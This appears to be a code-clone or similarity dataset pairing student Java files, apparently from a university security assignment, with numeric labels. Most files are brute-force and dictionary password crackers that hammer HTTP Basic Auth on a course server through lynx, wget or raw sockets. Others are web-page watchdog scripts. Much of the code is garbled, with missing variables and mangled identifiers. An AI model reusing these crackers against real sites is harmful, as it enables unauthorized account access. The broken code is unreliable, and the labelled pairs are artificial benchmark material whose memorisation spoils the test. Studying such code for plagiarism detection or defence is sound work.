BruteForce(); bf.crackAddress(); } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
008.java
197.java
0
import java.io.*; import java.*; public class BruteForce { public static void main(String args[]) { String s = null; String basic_url = "http://sec-crack.cs.rmit.edu./SEC/2/"; String alphabets = new String("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"); String password = null; int len = 0; int num_tries = 0; len = alphabets.length(); for (int i=0; i<len; i++) { for (int j=0; j<len; j++) { for (int k=0; k<len; k++) { try { password = String.valueOf(alphabets.charAt(i)) + String.valueOf(alphabets.charAt(j)) + String.valueOf(alphabets.charAt(k)); System.out.print(alphabets.charAt(i)); System.out.print(alphabets.charAt(j)); System.out.println(alphabets.charAt(k)); Process p = Runtime.getRuntime().exec("wget --http-user= --http-passwd=" + password + " " + basic_url); BufferedReader stdInput = new BufferedReader(new InputStreamReader(p.getInputStream())); BufferedReader stdError = new BufferedReader(new InputStreamReader(p.getErrorStream())); while ((s = stdInput.readLine()) != null) { System.out.println(s); } while ((s = stdError.readLine()) != null) { System.out.println(s); } try { p.waitFor(); } catch (InterruptedException g) { } num_tries++; if((p.exitValue()) == 0) { System.out.println("**********PASSWORD IS: " + password); System.out.println("**********NUMBER OF TRIES: " + num_tries); System.exit(1); } } catch (IOException e) { System.out.println("exception happened - here's what I know: "); e.printStackTrace(); System.exit(-1); } } } } } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
175.java
197.java
0
import java.io.*; import java.net.*; import java.util.*; public class BruteForce { public static void main(String args[]) { Calendar cal = Calendar.getInstance(); Date now=cal.getTime(); double startTime = now.getTime(); String password=getPassword(startTime); System.out.println("The password is " + password); } public static String getPassword(double startTime) { char first, second, third; String password=""; int requests=0; for (int i=65; i<123; i++) { requests++; first = (char) i; password = first + ""; if (testPassword(password, startTime, requests)) return password; for (int j=65; j<123; j++) { requests++; second = (char) j; password = first + "" + second; if (testPassword(password, startTime, requests)) return password; for (int k=65; k<123; k++) { requests++; third = (char) k; password = first + "" + second + "" + third; if (testPassword(password, startTime, requests)) return password; if (k==90) k=96; } if (j==90) j=96; } if (i==90) i=96; } return password; } private static boolean testPassword(String password, double startTime, int requests) { try { URL url=new URL("http://sec-crack.cs.rmit.edu./SEC/2/"); HttpURLConnection connection; String userPassword = ":" + password; String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes()); try { connection = (HttpURLConnection) url.openConnection(); connection.setRequestProperty("Authorization", " " + encoding); int status=connection.getResponseCode(); System.out.println(password + requests); if (status==200) { System.out.println("It took " + getTime(startTime) + " milliseconds find the password."); System.out.println(" were " + requests + " requests ."); return true; } return false; } catch (IOException ioe) { System.out.print(ioe); return false; } } catch (IOException MalformedURLException) { System.out.print("Invalid URL"); return false; } } private static double getTime(double startTime) { Calendar cal = Calendar.getInstance(); Date now=cal.getTime(); double endTime = now.getTime(); return endTime-startTime; } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
022.java
197.java
0
import javax.swing.*; public class BruteForce { public static void main( String args[] ) { PasswordCombination pwdCombination; pwdCombination = new PasswordCombination(); } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
107.java
197.java
0
import java.io.InputStream; import java.util.Properties; import javax.naming.Context; import javax.naming.InitialContext; import javax.rmi.PortableRemoteObject; import javax.sql.DataSource; public class WatchdogPropertyHelper { private static Properties testProps; public WatchdogPropertyHelper() { } public static String getProperty(String pKey){ try{ initProps(); } catch(Exception e){ System.err.println("Error init'ing the watchddog Props"); e.printStackTrace(); } return testProps.getProperty(pKey); } private static void initProps() throws Exception{ if(testProps == null){ testProps = new Properties(); InputStream fis = WatchdogPropertyHelper.class.getResourceAsStream("/watchdog.properties"); testProps.load(fis); } } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
195.java
197.java
0
import java.io.*; import java.lang.Object; public class WatchDog { public static void main(String args[])throws Exception { for(;;) { String s[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"}; String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"SEC Assignment2 part2\" < diff.html"}; String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy1"}; String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy1"}; String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy2"}; String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy2"}; Process p4; Process p5; Process c1 = Runtime.getRuntime().exec("mkdir copy1"); c1.waitFor(); Process c2 = Runtime.getRuntime().exec("mkdir copy2"); c2.waitFor(); Process p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/"); p1.waitFor(); Process a11 = Runtime.getRuntime().exec(s2); a11.waitFor(); Process a12 = Runtime.getRuntime().exec(s3); a12.waitFor(); Thread.sleep(86400000); Process p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/"); p3.waitFor(); Process a21 = Runtime.getRuntime().exec(s4); a21.waitFor(); Process a22 = Runtime.getRuntime().exec(s5); a22.waitFor(); try { String str; p4 = Runtime.getRuntime().exec(s); DataInputStream dis = new DataInputStream(p4.getInputStream()); p4.waitFor(); System.out.println("\t\t\tWATCHDOG PROGRAM"); System.out.println("\t\t\t****************"); System.out.println("If any change in the web then the value 1"); System.out.println("If is change then the value 0 "); System.out.println("The value :" + p4.exitValue()); try { while ((str = dis.readLine()) != null) { System.out.println(str); } } catch (IOException e) { System.exit(0); } } catch(FileNotFoundException e) { e.printStackTrace(); } BufferedReader in = new BufferedReader(new FileReader("diff.html")); if (in.readLine() != null) { try { String str1; p5 = Runtime.getRuntime().exec(s1); DataInputStream dis1 = new DataInputStream(p5.getInputStream()); p5.waitFor(); System.out.println("u have received a mail"); try { while ((str1 = dis1.readLine()) != null) { System.out.println(str1); } } catch (IOException e1) { System.exit(0); } } catch(FileNotFoundException ie1) { ie1.printStackTrace(); } } } } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
182.java
197.java
0
import java.net.*; import java.io.*; public class Dictionary extends Authenticator { private String username; private char [] thisPassword; private URL url; private BufferedReader bf; public static void main(String [] args) { if(args.length!=3) { System.err.println( "usage: Dictionary <url> <username> <dictionary-file>"); System.exit(1); } Dictionary d = null; try { d = new Dictionary(args[0], args[1], args[2]); } catch (MalformedURLException me) { me.printStackTrace(); System.exit(1); } catch (FileNotFoundException fe) { fe.printStackTrace(); System.exit(1); } d.work(); } public Dictionary(String url, String username, String passwordFilename) throws MalformedURLException, FileNotFoundException { this.url = new URL(url); this.username = username; thisPassword = new char [] {'a'}; File f = new File(passwordFilename); FileReader fr = new FileReader(f); bf = new BufferedReader(fr); } public void work() { Authenticator.setDefault(this); HttpURLConnection uc = null; try { uc = (HttpURLConnection) url.openConnection(); uc.connect(); while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED && thisPassword !=null) { try { InputStream is = uc.getInputStream(); uc.connect(); } catch (ProtocolException pe) { uc = (HttpURLConnection) url.openConnection(); } catch (NullPointerException npe) { npe.printStackTrace(); System.exit(1); } } } catch (java.io.IOException e ) { e.printStackTrace(); System.exit(1); } System.out.println("password=" + new String(thisPassword)); } public PasswordAuthentication getPasswordAuthentication() { String s=null; try { for(s = bf.readLine(); s!=null; s = bf.readLine()) { if(s.length()==3) { break; } } } catch (IOException e) { e.printStackTrace(); System.exit(1); } if(s.length()!=3) { thisPassword = null; } else { thisPassword = s.toCharArray(); } return new PasswordAuthentication(username, thisPassword); } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
201.java
197.java
0
import java.net.*; import java.io.*; import java.Ostermiller.util.*; import java.util.*; public class MyClient1 implements Runnable { private String hostname; private int port; private String filename; private Socket s; private int n; private InputStream sin; private OutputStream sout; private int dif; private String myPassword; private int status; private int myTime; private Dictionary myMaster; public MyClient1(Dictionary dic, int num, int myPort, String password) { hostname = new String("sec-crack.cs.rmit.edu."); port = myPort; status = 0; myTime = 0; myPassword = password; filename = new String("/SEC/2/"); myMaster = 0; n = num; dif = 0; } public getDif() { return dif; } public int getStatus() { return status; } public void run() { String inputLine; String[] tokens = new String[5]; int i; myTime = 0; finish = 0; start = System.currentTimeMillis(); try { s = new Socket( hostname, port); }catch( UnknownHostException e) { System.out.println("'t find host"); }catch( IOException e) { System.out.println("Error connecting host "+n); return; } while(s.isConnected() == false) continue; finish = System.currentTimeMillis(); dif = finish - start; try { sin = s.getInputStream(); }catch( IOException e) { System.out.println("'t open stream"); } BufferedReader fromServer = new BufferedReader(new InputStreamReader( )); try { sout = s.getOutputStream(); }catch( IOException e) { System.out.println("'t open stream"); } PrintWriter toServer = new PrintWriter( new OutputStreamWriter( sout)); toServer.print("GET "+filename+" HTTP/1.0\r\n"+"Authorization: "+Base64.encode(""+":"+myPassword)+"\r\n\r\n"); toServer.flush(); try { inputLine = fromServer.readLine(); }catch( IOException e) { System.out.println("'t open stream"); inputLine = null; } java.util.StringTokenizer = new java.util.StringTokenizer( inputLine, " "); i = 0; while(bf.hasMoreTokens()) { tokens[i] =bf .nextToken(); i++; } status = Integer.parseInt( tokens[1]); myTime = System.currentTimeMillis(); if( status == 200) { System.out.println("Ok "+myPassword); myMaster.retire( this); } toServer.send(); try { fromServer.recieve(); }catch( IOException e) { System.out.println("'t open stream"); } try { s.connect(); }catch( IOException e) { System.out.println("'t connection"); System.exit(0); } } public getTime() { return myTime; } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
024.java
197.java
0
import java.util.*; import java.net.*; import java.io.*; import javax.swing.*; public class PasswordCombination { private int pwdCounter = 0; private int startTime; private String str1,str2,str3; private String url = "http://sec-crack.cs.rmit.edu./SEC/2/"; private String loginPwd; private String[] password; private HoldSharedData data; private char[] chars = {'A','B','C','D','E','F','G','H','I','J','K','L','M', 'N','O','P','Q','R','S','T','U','V','W','X','Y','Z', 'a','b','c','d','e','f','g','h','i','j','k','l','m', 'n','o','p','q','r','s','t','u','v','w','x','y','z'}; public PasswordCombination() { System.out.println("Programmed by for INTE1070 Assignment 2"); String input = JOptionPane.showInputDialog( "Enter number of threads" ); if( input == null ) System.exit(0); int numOfConnections = Integer.parseInt( input ); startTime = System.currentTimeMillis(); int pwdCounter = 52*52*52 + 52*52 + 52; password = new String[pwdCounter]; doPwdCombination(); System.out.println("Total Number of Passwords Generated: " + pwdCounter); createConnectionThread( numOfConnections ); } private void doPwdCombination() { for( int i = 0; i < 52; i ++ ) { str1 = "" + chars[i]; password[pwdCounter++] = "" + chars[i]; System.err.print( str1 + " | " ); for( int j = 0; j < 52; j ++ ) { str2 = str1 + chars[j]; password[pwdCounter++] = str1 + chars[j]; for( int k = 0; k < 52; k ++ ) { str3 = str2 + chars[k]; password[pwdCounter++] = str2 + chars[k]; } } } System.err.println( "\n" ); } private void loadPasswords( ) { FileReader fRead; BufferedReader buf; String line = null; String fileName = "words"; try { fRead = new FileReader( fileName ); buf = new BufferedReader(fRead); while((line = buf.readLine( )) != null) { password[pwdCounter++] = line; } } catch(FileNotFoundException e) { System.err.println("File not found: " + fileName); } catch(IOException ioe) { System.err.println("IO Error " + ioe); } } private void createConnectionThread( int input ) { data = new HoldSharedData( startTime, password, pwdCounter ); int numOfThreads = input; int batch = pwdCounter/numOfThreads + 1; numOfThreads = pwdCounter/batch + 1; System.out.println("Number of Connection Threads Used:" + numOfThreads); ConnectionThread[] connThread = new ConnectionThread[numOfThreads]; for( int index = 0; index < numOfThreads; index ++ ) { connThread[index] = new ConnectionThread( url, index, batch, data ); connThread[index].conn(); } } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
226.java
197.java
0
import java.io.*; import java.net.*; import javax.swing.Timer; import java.awt.event.*; import javax.swing.JOptionPane; public class WatchDog { private static Process pro = null; private static Runtime run = Runtime.getRuntime(); public static void main(String[] args) { String cmd = null; try { cmd = new String("wget -O original.txt http://www.cs.rmit.edu./students/"); pro = run.exec(cmd); System.out.println(cmd); } catch (IOException e) { } class Watch implements ActionListener { BufferedReader in = null; String str = null; Socket socket; public void actionPerformed (ActionEvent event) { try { System.out.println("in Watch!"); String cmd = new String(); int ERROR = 1; cmd = new String("wget -O new.txt http://www.cs.rmit.edu./students/"); System.out.println(cmd); cmd = new String("diff original.txt new.txt"); pro = run.exec(cmd); System.out.println(cmd); in = new BufferedReader(new InputStreamReader(pro.getInputStream())); if (((str=in.readLine())!=null)&&(!str.endsWith("d0"))) { System.out.println(str); try { socket = new Socket("yallara.cs.rmit.edu.",25); PrintWriter output = new PrintWriter(socket.getOutputStream(),true); String linetobesent = null; BufferedReader getin = null; try { FileReader = new FileReader("template.txt"); getin = new BufferedReader(); while (!(linetobesent=getin.readLine()).equals("")) { System.out.println(linetobesent); output.println(linetobesent); } output.println("Orignail Line .s C New Line .s " + str); while ((linetobesent=in.readLine())!=null) { output.println(linetobesent); System.out.println(linetobesent); } while ((linetobesent=getin.readLine())!=null) { output.println(linetobesent); System.out.println(linetobesent); } cmd = new String("cp new.txt original.txt"); System.out.println(cmd); pro = run.exec(cmd); } catch (IOException ex) { System.out.println(ex); } catch (Exception ex) { System.out.println(ex); System.exit(ERROR); } finally { try { if (getin!= null) getin.read(); } catch (IOException e) {} } } catch (UnknownHostException e) { System.out.println(e); System.exit(ERROR); } catch (IOException e) { System.out.println(e); System.exit(ERROR); } } else System.out.println("string is empty"); } catch (IOException exc) { } } } Watch listener = new Watch(); Timer t = new Timer(null,listener); t.close(); JOptionPane.showMessageDialog(null,"Exit WatchDog program?"); System.exit(0); } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
085.java
197.java
0
import java.Thread; import java.io.*; import java.net.*; public class Dictionary extends Thread { final static int SUCCESS=1, FAILED=0, UNKNOWN=-1; private static String host, path, user; private Socket target; private InputStream input; private OutputStream output; private byte[] data; private int threads, threadno, response; public static boolean solved = false; Dictionary parent; static LineNumberReader lnr; public Dictionary(String host, String path, String user, int threads, int threadno, Dictionary parent, LineNumberReader lnr) { super(); this.parent = parent; this.host = host; this.path = path; this.user = user; this.threads = threads; this.threadno = threadno; } public void run() { response = FAILED; int x = 0; String word = ""; starttime = System.currentTimeMillis(); try { boolean passwordOkay; while(word != null && !parent.solved) { passwordOkay = false; while(!passwordOkay || word == null) { word = lnr.readLine(); passwordOkay = true; if(word.length() != 3) passwordOkay = false; } response = tryLogin(word); x++; if(response == SUCCESS) { System.out.println("SUCCESS! (after " + x + " tries) The password is: "+ word); parent.solved = true; } if(response == UNKNOWN) System.out.println("Unexpected response (Password: "+ word +")"); } } catch(Exception e) { System.err.println("Error while from dictionary: " + e.getClass().getName() + ": " + e.getMessage()); } if(response == SUCCESS) { System.out.println("Used time: " + ((System.currentTimeMillis() - starttime) / 1000.0) + "sec."); System.out.println("Thread . " + threadno + " was the one!"); } } public static void main (String[] args) { Dictionary parent; try { lnr = new LineNumberReader(new FileReader("/usr/share/lib/dict/words")); } catch(Exception e) { System.err.println("Error while loading dictionary: " + e.getClass().getName() + ": " + e.getMessage()); } Dictionary[] attackslaves = new Dictionary[10]; if(args.length == 3) { host = args[0]; path = args[1]; user = args[2]; } else { System.out.println("Usage: Dictionary <host> <path> <user>"); System.out.println(" arguments specified, using standard values."); host = "sec-crack.cs.rmit.edu."; path = "/SEC/2/index.php"; user = ""; } System.out.println("Host: " + host + "\nPath: " + path + "\nUser: " + user); System.out.println("Using " + attackslaves.length + " happy threads..."); parent = new 